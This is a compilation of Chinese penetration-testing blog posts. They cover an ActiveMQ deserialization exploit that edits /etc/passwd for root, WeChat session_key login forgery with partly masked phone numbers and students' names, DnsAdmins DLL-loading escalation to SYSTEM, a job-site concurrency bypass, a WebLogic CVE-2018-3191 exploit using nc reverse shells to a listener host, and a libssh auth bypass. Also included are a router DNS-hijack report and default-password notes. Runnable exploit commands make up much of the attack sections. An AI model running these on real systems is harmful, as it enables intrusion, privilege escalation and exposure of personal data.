45.32.101.90 61616 让我们再将passwd中的test的uid修改为0,使它拥有root权限,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它。 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/test:x:0/g" /etc/passwd" -Yp ROME 45.32.101.90 61616 让我们再为test用户设置一个密码,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它。 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME 45.32.101.90 61616 到此为止,一个权限为root,密码为123456的用户即创建完毕。我们可以使用ssh直接远程登陆进入操作系统,并且还是最高权限。 0x03 参考链接 https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
  8. sessionkey引入 微信sessionkey是微信小程序开发中用于标识用户会话的一串密钥。当用户在微信小程序中进行登录操作时,微信服务器会返回一个session_key,开发者可以使用这个session_key来获取用户的身份信息或进行加密通信. 如果sessionkey泄露就可以进行获取用户信息,伪造登录. 师傅404Xyunxi就是通过sessionkey打的 拿到了江西财经大学的证书 [5.20]提交的某edusrc平台案例 此次案例就是通过sessionkey泄露达到伪造登录的 期中此次信息搜集的骚操作方法来自师傅404Xyunxi,收益匪浅 伪造登录工具:Wx_SessionKey_crypt 发现漏洞一:sessionkey泄露 点击登录 抓取数据包 微信session key泄露 伪造登录需要手机号 从抖音信息搜集到手机号 在抖音搜索相关平台信息,得到泄露的手机号 得到私人手机号187291***** 伪造登录 1.先解密自己的: 2.在伪加密替换成他的 替换encrypetdData,成功伪造登录 每次替换的时候encryptedData和iv都会改变,所以每次的包都不同,这里就不提供数据包了 发现漏洞二:逻辑缺陷 使用自己的手机号再次点击登录 无法登录 此时抓取数据包 登录失败的返回包: 抓取187291***登录成功的返回包 复制成功登录的返回包 {"code":2000,"msg":"success","data":{"user_id":3925,"class":[{"teacher_id":24,"name":"王萍萍","role":9,"major_id":42,"grade":4,"class":3,"point":76,"status":"正常"},{"teacher_id":24,"name":"王萍萍","role":8,"major_id":43,"grade":4,"class":4,"point":80,"status":"正常"}]}} 对自己的返回包进行替换 再次成功登录 拿到其他手机号 重新操作再次替换返回包: {"code":2000,"msg":"success","data":{"user_id":3905,"class":[{"teacher_id":24,"name":"湛善萍","role":9,"major_id":42,"grade":4,"class":3,"point":76,"status":"正常"},{"teacher_id":24,"name":"湛善萍","role":8,"major_id":43,"grade":4,"class":4,"point":80,"status":"正常"}]}} 也可再次成功伪造登录 结束语 最后祝大家都能挖到洞 博客内容均为打码内容,而我们圈内写的报告不打码而且包含poc,更适合挖洞小白学习复现! 欢迎加入我们的圈子,每日分享一手edu,cnvd,企业src报告(挖完就分享),带你领略渗透圈,手把手教挖洞!
  9. 0x00 前言 除了在实现自己的DNS服务器功能之外,Microsoft还为该服务器实现自己的管理协议以便于管理与Active Directory域集成。默认情况下,域控制器也是DNS服务器; 大多数情况下每个域用户都需要访问和使用DNS服务器的功能。反过来,这会在域控制器上暴露出相当多的攻击面:一方面是DNS协议本身,另一方面是管理协议,它基于RPC。我们将深入研究DNS协议的实现并详细介绍一个非常棒的提权技巧。它允许我们在某些情况下不是域管理员在域控制器上也可以运行危险代码,虽然这并不是一个安全漏洞,正如微软所证实的那样,它仅仅只是一个功能的技巧,可以提供给红队进行AD权限提权。 通过阅读微软官方文档([MS-DNSP], https://msdn.microsoft.com/en-us/library/cc422504.aspx)收集相关的信息,并使用IDA对dns.exe进行二进制文件逆向分析。 0x01 DNS服务器管理协议基础知识 指定域名服务(DNS)服务器管理协议,该协议定义提供远程访问和管理DNS服务器的方法的RPC接口。它是基于RPC的客户端和服务器协议,用于配置,管理和监视DNS服务器。管理协议层位于RPC之上,可以在TCP或命名管道之上进行分层。如果您对协议或其实现原理感兴趣,可以在域控制器的c:\windows\system32\dns.ex下的中找到它。它的RPC接口UUID值是50ABC2A4-574D-40B3-9D66-EE4FD5FBA076,它使用\ PIPE \ DNSSERVER命名管道进行传输。 DNS服务器作为域控制器上运行的服务。可以通过运行命令dnsmgmt.msc连接到AD DNS服务器(通常是域控制器)来打开访问管理界面。它允许用户配置DNS区域,查找,缓存,转发和日志记录等信息。可以确保此结构中的多个对象包括DNS服务器对象(不是计算机帐户),区域对象和记录。在这种情况下,我们对dns服务器对象感兴趣,其全新安装的规则策略如下图所示: 默认情况下,只有DnsAdmins,Domain Admins,Enterprise Admins,Administrators和ENTERPRISE DOMAIN CONTROLLERS组对此对象具有写入权限。值得注意的是,从攻击者的角度来看,如果假如我们是每个组的成员不是属于DnsAdmins组,但可以对DNS具有读写权限的DnsAdmin用户,那么,让我们看看如果我们自己有一个DnsAdmin我们可以做些什么。 0x02 滥用DNSAdmins权限问题 ·DNS管理是通过RPC执行的(UUID是50ABC2A4-574D-40B3-9D66-EE4FD5FBA076),传输机制是\ PIPE \ DNSSERVER命名管道。 ·根据Microsoft协议规范,可通过“ServerLevelPluginDll”进行加载可选择的dll(没有验证dll路径)。 ·dnscmd.exe已实现此功能: dnscmd.exe /config /serverlevelplugindll \\path\to\dll ·以DNSAdmins成员的用户身份执行此dnscmd.exe命令时,将注册以下注册表键值: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll ·重新启动DNS服务将在此远程路径中加载DLL; 但是,DLL需要包含“DnsPluginInitialize,DnsPluginCleanup或DnsPluginQuery导出的功能”。 ·DLL只需要在域控制器的计算机帐户能够可以访问的网络共享主机上。 请注意Mimikatz包含一个可以自定义的DLL(GitHub上的源代码),因此可以在DNS服务启动时更新要加载的Mimikatz DLL,并监视将凭据转储到攻击者可能拥有访问读取的位置。 0x03 模糊测试ServerLevelPluginDll 消息处理事件和排序规则,基本上详细说明了服务器需要支持的所有操作。第一个是R_DnssrvOperation,它包含一个pszOperation参数,用于确定服务器执行的操作。向下滑动可浏览可能的pszOperation值的列表如下: 可以看到服务器只加载我们选择的DLL。在搜索ServerLevelPluginDll的使用说明信息后,可发现以下有用的信息: 看起来服务器甚至没有对此操作中指定的dll路径进行任何验证。在开始实施之前,使用谷歌搜索ServerLevelPluginDll相关资料但并有可有的信息,但它确实弹出了有用的dnscmd命令行工具。 幸运的是,dnscmd已经实现了我们需要的一切。快速浏览一下它的帮助信息,也可以参考https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd 命令选项如下: dnscmd.exe /config /serverlevelplugindll \\path\to\dll 首先,尝试将此作为普通域用户运行,对DNS服务器对象没有特殊权限(Generic Read除外,它授予Pre-Windows 2000 Compatible Access组的所有成员,默认情况下包含Domain Users组),该命令执行失败并显示拒绝访问的信息。如果我们为普通用户提供对服务器对象有写访问权限时,则该命令可以执行成功。这意味着DnsAdmins组的成员可以成功运行此命令。 在我们的DC上运行进程监视器和进程资源管理器时,尝试在运行有DnsAdmins成员的域计算机上运行它,我们看到并没有DLL被加载到dns.exe的地址空间中,正如预期的那样。但是,我们确实看到以下注册表项已写入了我们发送的路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll 现在,出于测试目的,我们重新启动DNS服务器服务,但是它却无法启动,清除注册表项值允许它启动。显然它需要我们的DLL更多的东西。 在这种情况下,有几种可能性可以快速达到我们寻求的功能 :通过IDA搜索相关字符串并搜索相关API,它通常是最简单和最快捷的方法。在我们的例子中:LoadLibraryW或GetProcAddress为我们提供了我们需要的东西 - 通过LoadLibraryW的DLL函数代码和调用它的函数,我们看到路径上根本没有验证执行ServerLevelPluginDll。 我们遇到的问题确实是唯一的:如果DLL无法加载或者它不包含DnsPluginInitialize,DnsPluginCleanup或DnsPluginQuery,该服务将无法启动。我们还需要确保我们的导出都返回0(成功返回值),否则它们也可能导致服务失败。 负责加载DLL的函数的伪代码大致如下: HMODULE hLib; if(g_pluginPath && * g_pluginPath){ hLib = LoadLibraryW(g_pluginPath); g_hndPlugin = hLib; if(!hLib){... log并返回错误...} g_dllDnsPluginInitialize = GetProcAddress(hLib,“DnsPluginInitialize”); if(!g_dllDnsPluginInitialize){... log and return error ...} g_dllDnsPluginQuery = GetProcAddress(hLib,“DnsPluginQuery”) if(!g_dllDnsPluginQuery){... log and return error ...} g_dllDnsPluginCleanup = GetProcAddress(hLib, “DnsPluginCleanup”) if(!g_dllDnsPluginCleanup){... log and return error ...} if(g_dllDnsPluginInitialize){ g_dllDnsPluginInitialize(pCallback1,pCallback2); } } 这个POC用于演示如何在Visual Studio 2015下查看此类DLL的代码: 编译显示是用于将默认导出的名称修改为我们想要的名称。要验证我们的导出是否正常,我们可以使用 /exports path\to\dll 现在我们尝试使用我们的新dll和voila运行dnscmd,它的工作原理:我们所需要的只是将我们的dll放在一个网络路径上,该路径可由一个域控制器的计算机帐户访问(dns.exe在SYSTEM下运行)(Everyone SID的读访问权应该可以完成)。 虽然这表明如果您是DnsAdmins的成员,可以接管管理DNS的权限,但并不仅限于此:我们需要成功完成这一提权技巧的是一个具有对DNS服务器对象的写访问权限的帐户。根据我的经验,这些对象的ACL通常不像域管理员(或受AdminSDHolder保护的类似组)的ACL那样受到监控,从而为不显眼的普通域用户提升特权提供了很好的机会。 正如官方资料所述,这应适用于所有最新的Windows Server版本: 微软的MSRC已经就此问题进行了问题跟踪,并表示将通过基本上只允许DC管理员更改ServerLevelPluginDll注册表项权限来修复它,并且可以在将来的版本中关闭此功能。 无论如何,dns.exe目前仍然是以SYSTEM身份运行并受到危险的攻击,因此对于某些模糊测试者来说它可能是一个值有用的利用点。 0x04 DNS提权为AD域管理员实例 其中作为DNSAdmins组成员或具有DNS服务器对象的写权限的用户可以在DNS服务器上加载具有SYSTEM权限的任意DLL。因为,许多企业设置也使用域控制器(DC)作为DNS服务器,让我们看看这个功能的实际用法。 这里搭建实验来进行验证,其中我们通过一个普通域用户(labuser)进行初始访问AD域(DNS和AD是同一台服务器)。 让我们首先使用PowerView枚举属于DNSAdmins组的用户信息 PS C:\>Get-NetGroupMember -GroupName "DNSAdmins" 在真正的红队或pentest中,下一步是攻击的是buildadmin用户。我们可以使用PowerView的Invoke-UserHunter找到一个可以使用buildadmin 访问DNS服务器的认证票据。 PS C:\>Invoke-UserHunter -UserName buildadmin(在bulidamin用户的主机上执行获取访问DNS的令认证票据) 我们假设我们找到了这个认证票据,其中buildadmin的票据可用,我们当前的用户(labuser)也具有本地管理员访问权限。因此,我们拥有DNSAdmins组成员的用户的权限。 现在,可能有两种情况:一种既是DC服务器也是DNS服务器,另一种是单独的服务器作为DNS服务器。 对于第一种情况,DNS服务器服务在DC上运行,我们可以简单地使用dnscmd工具来加载dll。还有一个PowerShell模块的dnsserver -但是没有详细使用记录。 我们可以使用以下命令远程加载DLL。UNC路径\\ ops-build \ dll应该可由DC读取。 PS C:\> dnscmd ops_dc /config /serverlevelplugindll \\ops-build\dll\mimilib.dll (普通域帐号具有访问DNS并且有写入权限的用户在DNS上进行提权) 对于调试(目标上需要管理员权限),可以使用以下命令检查DLL是否已成功添加到目标上 PS C:\>Get-ItemProperty 现在,由于获取的用户buildadmin属于DNSAdmins组,我们可以重新启动DNS服务。虽然这不是默认配置,但这样的用户有权重新启动DNS服务。 C:\> sc \\ops-dc stop dns C:\> sc \\ops-dc start dns 那么在成功执行上述命令后我们会获取到什么?Benjamin 很快更新了mimilib,用于此攻击。在此攻击中使用的更新版本mimilib将所有DNS查询记录到C:\Windows\system32\kiwidns.log中。 我们可以对kdns.c进行更改为包含远程命令执行功能。我包含了一行简单的代码使用Nishang的Invoke-Encode编码的混淆PowerShell shell。为DNS服务的每个查询执行有效负载,仍然会创建并写入到kiwidns.log 在监听服务器上可以反弹出远程服务器(dc)的shell: 可以成功看到获取到域控制器上的SYSTEM权限。 对于我们的第二种情况,如果DNS服务没有在DC上运行,我们仍然可以利用“仅”DNSAdmins的权限的用户并重新启动DNS服务中获得SYSTEM访问权限。 如何检测攻击? 要防止攻击,请查看获取DNS服务器对象的写权限和DNSAdmins组的成员身份策略。 DNS服务重启和一对日志信息显示:DNS服务器日志事件ID 150表示失败,770表示成功 执行成功和失败的Microsoft-Windows-DNS-Server / Audit Log事件ID 541 监视注册表的HKLM:\ SYSTEM \ CurrentControlSet \ services \ DNS \ Parameters \ ServerLevelPluginDll值也会有所帮助。 0x05 防御措施 ·确保只具有管理员帐户是DNSAdmins组的成员,并确保仅管理员具有管理系统DNS的权限。 ·定期查看没有特权访问权限的任何组/帐户的DNS服务器对象权限策略设置是否正确。 ·将RPC与DC的通信限制为仅限管理员访问的子网。 ·只允许DC管理员更改ServerLevelPluginDll注册表项的权限。
  10. 篇首语:去年在深圳,和一个厂商交流时,聊到英国DeltaV场强仪,对方很诧异地说:“这玩意质量很差啊,用了三个月就坏了”,What?杨叔顿觉不可思议,毕竟实验室使用三年来几乎没出现过问题。 结果拿来一看:擦,这特么不是假货嘛?... 为了避免更多企业用户入坑,也为了方便RC2的学员朋友们识别真伪,特别地,在课程之余,写下本篇。 声明:以下内容来自RC2反窃密实验室及杨叔个人经验,仅供交流与参考。 01 DeltaV的厂商 国内有不少专业人士用过这款DeltaV手持信号检测设备,也有些人对这款设备嗤之以鼻,这都是假货的功劳 不过,更多的人,可能压根儿没听说过。 作为一款手持信号检测设备,在易用性、准确性和稳定性上,来自英国的DeltaV Advanced已经在国际上同类设备中位列前三。 在高准确度下保持对100MHz至15GHz的信号检测频宽,也超越了99%的同类设备。无论是大使馆,还是企业高管办公室、会议室的检测,均可轻松胜任。 这也是杨叔在2017年起,L2商业安全课程实验中就一直让学员对比体验设备的原因,最终DeltaV也确实赢得了学员们的一致认同。 其实这款设备的厂商: 英国Audiotel International 在国际TSCM反窃密检测圈内也算是鼎鼎有名的老牌厂商之一。 早在2005~2010年间,很多国家的执法机构、战术单位、反间谍及情报部门,都采购过该公司的非线性检测设备和手持信号检测仪。 直到现在,国内一些相关部门的物资仓库里,多少都能翻出一两款Audiotel的早期产品。 哈哈,能熟练使用上面设备的,肯定是行业专家 2019年,杨叔在英国伦敦参加IFSEC国际军警装备展时,还专程拜访过Audiotel,与对方的技术经理做了产品交流。 哈哈,更多内容后面再说,这里就不再吹捧这款设备的优劣性了,典型的谁用谁知道 何况东西不好,能有那么多山寨仿品么? 扩展阅读:感兴趣的朋友,还可以了解下全球最有名的美国REI厂商: TSCM情报库01 | 来自美国的扛把子 • REI 02 真假--外观对比 言归正传,下面杨叔聊聊正品和假货的对比。 从整体来看,现在假货确实也很努力,但相信用过正品的朋友,只要拿到手上,还是能轻松地区分出仿品。 而对于没用过正品的朋友,别担心,下面这些对比相信可以帮到你。 外壳材质 DeltaV这款设备的外壳,一直采用工业注模的钢制壳体,很有质感。甚至早一些生产批次的产品上,还做了磨砂效果。 仿品的外壳就粗糙多了,虽然主体形状确实近似,但手感上就差了好多,很多仿品都是塑料般的手感。 在壳体标识印刷上,仿品明显字体模糊不清,更别提还有单词上混淆拼写的,可以联想下“康帅夫”的梗,你懂得。 背板螺丝 这是一个小细节 但有趣的是,无论各个行业,仿品好像一直都是在细节上做不好。 正品的背板螺丝,一直都是黑色细牙高强度螺丝,而多数仿品的背板螺丝,居然是电镀普通螺丝。 壳体侧面按键 又是一个小细节,侧面这个按钮,其实是“灵敏度调节按钮”,一般情况下都不需要使用。 只有在遇到强烈的信号时,设备告警声往往会在完全靠近发射源前就达到最大值。那么,为了便于判断及提高精准度,可以按下这个位于设备右侧的灵敏度开关。 ·首先,正品这个按键是黑色的,仿品是红色的,且色调感觉很怪异,明显可以感受到华强北的作坊气质。 ·其次,正品这个按键是有功效的,仿品则按下与不按无差别,即基本无效。 背面标签 最搞笑的就是这个,一看就知道国内这帮做仿品的,压根儿没用过国外的电器。 嗯,如果觉得上面这些判断方式都好难,那么这个判断技巧你一定能用到。 直接说答案: 仿品最大的问题,就是在标签上使用中文宋体。 而实际上,只要是国外的原产设备,就根本看不到任何中文字体,更别提什么宋体、仿宋体之类的。 哈哈,都不用看什么logo,只要一眼瞥到这么难看的英文便知是假。 明显的地方就举这些,为防止本文成为高仿的参考,还有些特别的地方就不一一指出,至于关键的设备编码什么的,杨叔也都打了码 03 真假--使用对比 若是从电路上比较,那就更明显了,不过拆卸设备对于多数人来说还是有些麻烦,所以我们还是从使用上来做个对比。 杨叔就举一个例子: 这个属于DeltaV的特殊功能,很遗憾,确实有很多人并不清楚。 简单来说,如果目标信号是一个突发的脉冲信号,那么这个黄色LED灯便会亮起,这个小细节对于信号混杂环境下判断偶发信号很有帮助。如下图红框内。 这个功能,仿品要么没有,要么就是凑数的,简单测试下便知。 除此之外,从市场反馈来说,DeltaV假货的产品质量普遍非常差,一般两三个月后就会出现各种问题。 大家想象下,一台不稳定全是误报的设备,对于不懂的采购方而言,经常性莫名其妙的误判只会增大工作难度浪费人力,这才是开展室内检测工作的大忌。 04 点评 既然假货有这么明显的问题,那为什么还有那么多人上当呢? 答案很简单:假货,便宜啊! 正品的英国原装DeltaV专业手持信号检测仪,市场采购价格在4万元左右,但假货普遍在1~1.5万元,这差价可就大了 去年就有企业采购询问杨叔:为何别家卖1万5,我们这边要3万多? 杨叔确认了对方说的确实是DeltaV后,只能表示这边保证原装正品,其它的嘛,还是交由客户自行判断吧~~
  11. 思路适用于大部分招聘网站,碰到了就是漏洞。 这里有限制,一个月只能申请5次 这里就存在漏洞点了 既然它限制我一个月内只能投递5份 那我突破他的那个限制,投递七八份 甚至十几份那么这就存在漏洞了。 说干就干 在个人主页完善简历 在bp历史流量中发现有投递职业的限制。 来到主页面,点击社会招聘,选择不同职位收集其职位ID。 url参数中的positionId便是职位ID,建议收集10个不同岗位的职位ID。 职位ID字典如下: 利用并发漏洞投递简历 来到主页面,点击社会招聘,选择任意职位了解详情。 点击确定按钮,拦截提交简历的HTTP请求包。 将此请求包发送至Turbo intruder插件,加载相应positionId字典。 验收结果 此时再投递任一岗位,提示如下:你已申请22个职位,本月不能再申请!
  12. 0x00 简介 北京时间10月17日,Oracle官方发布的10月关键补充更新CPU(重要补丁更新)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191)。该漏洞允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而造成远程代码执行。 0x01 漏洞复现 目标weblogci服务器已开放了T3服务,该服务器是部署在linux下,可以用https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-262进行在 docker下部署测试环境。 1.在JRMPListener主机(公网上的一台主机,ubunut系统,IP地址为:149.28.*.85)上运行以下命令: wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command] 如: java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 149.28.*.85 5555' //注意command目前只有nc反弹成功,bash反弹被转义了,本地监听1099端口,执行的命令是向weblogic服务器发送nc反弹命令的poc。 2.同时在JRMPListener主机另开一个命令窗口进行监听nc端口,命令如下: nc -lvvp 5555 3.在本地的windows系统攻击者主机上运行此脚本: weblogic-spring-jndi-12.2.1.3.jar 对于weblogic: 12.2.1.3 weblogic-spring-jndi-10.3.6.0.jar 对于weblogic: 10.3.6.0 12.2.1.0 12.1.3.0 12.2.1.1 wget https://github.com/pyn3rd/CVE-2018-3191/blob/master/weblogic-spring-jndi-10.3.6.0.jar wget https://github.com/pyn3rd/CVE-2018-3191/blob/master/weblogic-spring-jndi-12.2.1.3.jar wget https://raw.githubusercontent.com/Libraggbond/CVE-2018-3191/master/exploit.py python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient] python exploit.py 66.42.*.195 7001 weblogic-spring-jndi-10.3.6.0.jar 149.28.146.85 1099 //这里的66.42.*.195是weblogc服务器,7001为weblogic服务器端口;149.28.*.85为JRMPListener主机,主机的监听端口为1099 最终可以看到反弹的shell: 0x02 漏洞修复 1.Oracle官方已经在10月关键补丁更新CPU(重要补丁更新)中修复了该漏洞,强烈建议受影响的用户尽快升级更新进行防护。 https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html#AppendixFMW 2.禁止T3协议 0x03 参考链接 https://mp.weixin.qq.com/s/ebKHjpbQcszAy_vPocW0Sg https://github.com/Libraggbond/CVE-2018-3191
  13. 以下内容由WebRAY和Panabit联合发布 0x01 事件背景 从2024年5月开始,国内部分家用路由器开始出现间歇性断网、域名解析延迟高以及解析到海外IP等情况,今年8月该现象变得尤为严重。前几天在做应急响应时候发现某企业暴露在公网上的路由器配置的DNS地址被莫名其妙篡改了,主DNS地址是一个阿里云上的节点,备用DNS地址为1.1.1.1。起初以为这次事件跟近期的攻防演习相关,后面经过深入分析发现该事件并不是个例,我们已排查到有大量暴露在公网上的路由器都存在DNS被篡改的情况,且大部分用户基本没有感知。经过初步统计,攻击者使用的劫持DNS节点数已有百余个,用户访问受影响的目标主要覆盖了阿里云CDN、腾讯云CDN、华为云CDN等,导致了一系列的解析异常。短时间范围内,大量用户投诉对国内重要目标单位访问异常,造成严重安全隐患。 0x02 事件分析 盛邦安全烽火台实验室联合Panabit对该事件进行了专项分析,这起事件是属于典型的DNS劫持攻击事件,符合国外黑灰产组织的攻击特征。攻击者通过搜集公网可访问的路由器地址,利用漏洞或弱口令获取路由器控制权限,修改路由器DNS服务器地址,达到中间人攻击的效果。整体的攻击流程如下图所示: (图中假设攻击者对webray.com.cn进行了dns劫持) 用户在发起HTTP请求之前首先会进行DNS请求,由于绝大部分个人用户不会自定义DNS服务器,所以默认情况下会使用路由器的DNS服务器来进行域名解析。攻击者通过漏洞把路由器DNS服务器篡改为自己可控的恶意DNS服务器,并添加解析记录webray.com.cn到恶意IP地址。用户拿到webray.com.cn响应的IP地址之后会与攻击者可控恶意IP建立链接,攻击者可控恶意IP通过实现中间人代理功能,把用户的请求转发的真实目标服务器并响应真实服务器结果给用户。 基于DNS劫持的中间人攻击一般可以造成做到用户无感知,但这个事件还是导致了用户访问异常,从而慢慢发酵了出来,引起用户访问异常的原因有以下两点: 经过攻击者可控的服务器进行代理转发之后,会明显降低系统访问速度,造成访问请求延迟增大。 用户访问https协议的网站目标时,会因为中间人可控服务器没有受信任的证书而导致访问失败。 0x03 排查过程 中间人攻击是一种常见的网络攻击方式,一般情况下可以造成下面的两种危害: 造成信息泄漏,通过中间人攻击可以劫持用户流量,通过对流量中的敏感信息进行提取,获取用户认证信息等敏感内容。 造成远程权限获取,通过中间人攻击可以篡改用户流量,一般情况下中间人会把用户请求转发到真实服务器,但是部分情况下可以通过对流量进行篡改达到RCE的效果。其中经典的用法是通过修改软件的升级更新包的响应内容,通过把响应内容替换为木马文件,达到自动运行的效果。 由于事件还在发酵,很难判断攻击者的最终目的是属于流量获取还是远程权限获取。但是不论何种情况,对用户来说都是属于较大的安全隐患。 那么用户应该如何排查自己的DNS服务器是否正常呢?我们把目前的情况做了总结,本次事件中的恶意DNS服务器普遍具有以下特征: 能解析的域名ttl改为了86400秒,即1天 使用unbound-1.16.2作为版本名称 以已知的恶意DNS 60.205.130.150为例,查询DNS服务器中ttl时间,可以通过dig发送任意一个未解析过的域名,此处的daydaymap.com可替换为随机其它域名。 dig @60.205.130.150 daydaymap.com 查询DNS服务器中版本名称,可以通过dig发送version.bind的txt查询请求,并通过chaos的方式进行展示。 如果满足以上两个特征,基本就可以认定是被劫持的DNS服务器。 0x04 用户自查 我们基于以上特征对互联网上的DNS服务器做了全网摸排,情况不容乐观。典型的被劫持IP包括: 47.109.22.11 8.140.204.39 47.108.228.50 47.103.220.247 39.108.114.149 120.77.221.246 106.15.3.137 120.26.147.194 106.15.192.10 106.14.245.30 47.108.190.138 47.106.38.96 47.100.115.82 122.9.187.125 120.79.129.196 47.108.55.233 123.56.132.204 101.37.182.110 101.201.60.214 目前这些IP都还存活,且基本都是国内公有云上的IP,更多被劫持的IP我们会在www.daydaymap.com上陆续公开出来,查看方式如下: 访问DayDayMap首页,点击DNS劫持标签: 点击后会检索语法ip.tag="DNS劫持",列出已探测到的被篡改的DNS地址: 用户自查方式: 1、登陆路由器后台,查看现有的DNS配置,如果备用DNS地址已被改为了1.1.1.1,需要尤其引起注意! 2、将主备DNS地址输入www.daydaymap.com进行查询,看是否有“DNS劫持”的标签,如存在该标签,尽快更换路由器并进行终端安全检测。 0x05 参考文献 https://lovelyping.com/?p=294
  14. 0x00 漏洞描述 libssh 0.6 及以上的版本,在服务端的代码实现中存在身份认证绕过漏洞。在向服务端认证的流程中,攻击者通过将 SSH2_MSG_USERAUTH_REQUEST 消息替换为 SSH2_MSG_USERAUTH_SUCCESS,即可在无需任何有效凭证的情况下认证成 0x01 漏洞影响版本 libssh 0.8.x - 0.8.3 libssh 0.7.x - 0.7.5 libssh 0.6.x 0x02 漏洞检测 1.nmap扫描libssh版本 nmap -p 2222 -n-Pn -T5 -sC -Sv 149.*.*.85 2.Shodan.io libSSH 0x03 漏洞复现 1.最好在windows上运行脚本,在linux上运行脚本出现很多坑(很多依赖脚本安装有问题)Windows上安装python3,然后使用以下命令进行安装脚本运行依赖包: pip3 installl paramiko 2.漏洞靶机部署,这里采用vulhub进行部署。(本机采用ubuntu16.04) root@libssh:~# git clone https://github.com/vulhub/vulhub.git root@libssh:~# cd vulhub/ root@libssh:~/vulhub# cd libssh/CVE-2018-10933/ root@libssh:~/vulhub/libssh/CVE-2018-10933# docker-compose build root@libssh:~/vulhub/libssh/CVE-2018-10933# docker-compose up -d 3.本地环境中运行攻击脚本 脚本下载地址: https://raw.githubusercontent.com/backlion/CVE-2018-10933/master/libssh-CVE-2018-10933.py D:\python3>python.exe libssh-CVE-2018-10933.py 149.*.*.852222 "cat /etc/passwd" (注意这里的2222端口是docker有libssh漏洞的sshd服务(22端口)映射出物理机主机的端口2222) 0x04 解决方案 官方已发布不受影响版本。建议受影响用户尽快升级。已修复版本Libssh 0.8.4和0.7.6下载链接如下:https://www.libssh.org/files 补丁地址: https://www.libssh.org/security/patches/stable-0.6_CVE-2018-10933.jmcd.patch01.txt 更新地址: https://www.libssh.org/files/0.7/libssh-0.7.6.tar.xz https://www.libssh.org/files/0.8/libssh-0.8.4.tar.xz 注意:使用OpenSSH的SSH服务不受影响
  15. 前言 本篇是紧接着上一篇文章因为篇幅过长而剩余的未分享案例与分类,本篇通过案例与碰到的漏洞类型来对我这两个月其中碰到的弱口令与爆力破解漏洞做一个总结,帮助小白快速了解这两种漏洞会遇到的实战情景,当然总结仅是我个人目前碰到的,如果不全,也请给位佬给我留言,方便我进行完善. 本篇博文是从自己的CSDN博客搬运而来,并不存在抄袭,首发原文链接:http://t.csdnimg.cn/71EUU 免责声明 以下漏洞案例均已经上报漏洞平台并且进行修复。请勿利用文章内的相关技术从事非法测试,若因此产生一切后果与本博客及本人无关。 弱口令与暴力破解介绍 弱口令是指容易被猜测或破解的密码,而爆破破解是一种通过穷举法尝试所有可能的密码组合以破解密码的方法。 弱口令通常指的是那些强度不高、容易被人猜到或者被破解工具所破解的密码。这类口令往往包含简单的数字和字母,例如“123”或“abc”,包括常见的生日日期、重复的数字和字母等。由于这些密码结构简单,没有混合使用大小写字母、数字及特殊字符,使得它们对渗透人员来说非常容易被识别和破解。 爆破破解则是一种基于穷举法的破解手段,它通过系统地尝试各种可能的密码组合直到找到正确的密码。这种方法对于人为设置的非随机密码尤为有效,因为人为设置的密码往往有一定的规律性,可以通过预设的密码字典或彩虹表来缩短破解所需的时间。在Web应用中,暴力破解常用于对应用系统的认证信息进行获取,渗透测试人员会使用大量认证信息尝试登录,直到得到正确的结果。为了提高效率,通常会使用自动化工具进行操作。 类型总结 弱口令类型总结 弱密码总结无非就是几种:,为什么要总结这个,因为暴力破解的前提就是能够猜测出对方设置的密码然后进行爆破. 1.弱密码: 简单来说就是很像123456这种,输入密码的时候懒得或是种种原因,系统也没有限制就写成简单的密码了,可以进行burp或是其他工具进行爆破,当然这种方式一般需要换代理ip,爆破一般ip容易被扳的 案例1:浙江某大学 也是同过信息收集收集到的一个证书站,通过构造大学前的几个字符,然后其中密码需要使用到我们通常设置密码时强制输入时,添数的字符. 2.大厂商设备默认密码: 每个厂商或是大一点的公司有开发的默认密码,这种通常就是直接使用google语法进行搜索 设备或是系统的默认密码或是管理手册,查看是否含有密码,这个可以搜索获得很多博主总结的设备的默认弱口令 案例2:RG交换机 锐捷网络产生开发的物理网设备,其实后台应该也是有一个RCE的,但是也没必要测了,但是进入后台,就可能这个设备的信息就知道,这个危害是非常大的,对公司的影响巨大,这个弱口令在前端页面中就写着. 弱口令: admin/admin 前台页面 后台页面 3.小厂商: 一般就是admin或者是123456,或是和管理员账号一样默认作为密码,其实就是弱口令 案例3:某游戏管理平台 这个页面也就常规吧,当时是通过一个ico的hash值搜索到的资产,前台平平无奇,后台是个看上去应该是小游戏的管理之类的 弱口令: admin/admin 前台页面 后台页面 4.学校edu默认密码: 对于学校类的资产,如果是学生基本就很熟悉,一般就是什么xql+学号 这个一般都有手册,每个学校也不同,或是通过身份证号/学号等密码一般也就是身份证号后6位或8位/学号后几位等, 需要进行信息收集 案例4:正方的系统 系统的页面会告诉你用户名和密码分别为什么,一般需要我们去收集,一般账号密码为每个学校固定的几个字母+身份证 ,密码为默认或是其他规定的,一般需要去收集操作手册 5.空密码: 直接随便输入或者不输入密码,输入账号点击登录就会进入 案例5:东北某大学 当时是直接拼接台就登录就直接进去了,没有输入密码 案例6:北京某大学 